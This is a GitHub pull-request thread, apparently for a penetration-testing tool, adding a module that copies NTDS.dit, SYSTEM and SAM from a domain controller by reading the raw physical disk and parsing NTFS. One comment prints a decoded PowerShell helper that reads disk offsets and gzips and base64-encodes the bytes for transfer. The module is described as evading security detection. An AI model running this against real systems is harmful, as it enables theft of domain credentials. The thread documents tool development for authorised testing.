-
Notifications
You must be signed in to change notification settings - Fork 362
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add raw-ntds-copy module #468
base: main
Are you sure you want to change the base?
Conversation
Hey @XiaoliChan, unfortunately I don’t have a specific reference for this as it’s a bit messy and gathered from multiple sources. However, this tool 'Active@ Disk Editor' has been really helpful, especially with its template feature that highlights header structures. here is an example of it : What exactly do you mean by buf/offset? If you’re referring to the dataRun (the actual location of file fragments on disk), I understood it from this video: https://www.youtube.com/watch?v=6WFUM5eViIk . My implementation of it can be found in the 'decode_dataRun' function within the code. let me know if that helped or not. |
This looks really cool! Thanks for the PR. |
Thanks @NeffIsBack, for decoding the code, it uses only base64, you can decode it directly yourself using Cyberchef from here https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&oenc=65001 What the code does is creating a function that reads "PHYSICALDRIVE0" by specific offset, then base64 the output binary and compress it using gzip for faster network transfer. The decoded version : Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compreass)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
|
Is there a way to add this code as an option for the --ntds core option ? Since we already have --ntds vss, may be we can add --ntds raw ? |
Can this technique create a bsod ? |
@mpgn i don't think so as the main function that is being executed in the DC is "CreateFile" to read at specific offset, unless it has some weird edge case. i will do some more research into it and stress testing it. everything else is handled in python. |
@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the |
self.conn.execute(...) ? |
Stupid question of mine may be but there is no way you can get the offsets remotely without executing any powershell ? PhysicalDrive offsets are not stored in registry keys ? (may be something I can assist with ?) |
@Dfte i don't think they are stored there, but if you find a way to get the offset from there i think it would be good to have it. But either way for the raw copy to happen i think we still need to execute a Powershell script in order to get the data based on the extracted offsets. Also, i switch it to be an ntds option as @Dfte suggested: |
You can also use impacket to read the result directly instead of letting the user enter manually the final command 😉 |
@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same. |
you can check this https://github.com/fortra/impacket/blob/835e17550b57606ee3c681ae1c3f0edea096ec19/examples/secretsdump.py#L317 |
…dumped files for raw ntds dump
@mpgn i've added it |
A new module for dumping the NTDS.dit, SYSTEM, and SAM files directly from the hard drive by analyzing the NTFS structure. This can be considered an alternative method to Shadow Copy, enabling the extraction of these files even if they are locked or protected by a process. It doesn't use the standard Windows API for file access, making it difficult for security solutions to detect which files are being copied.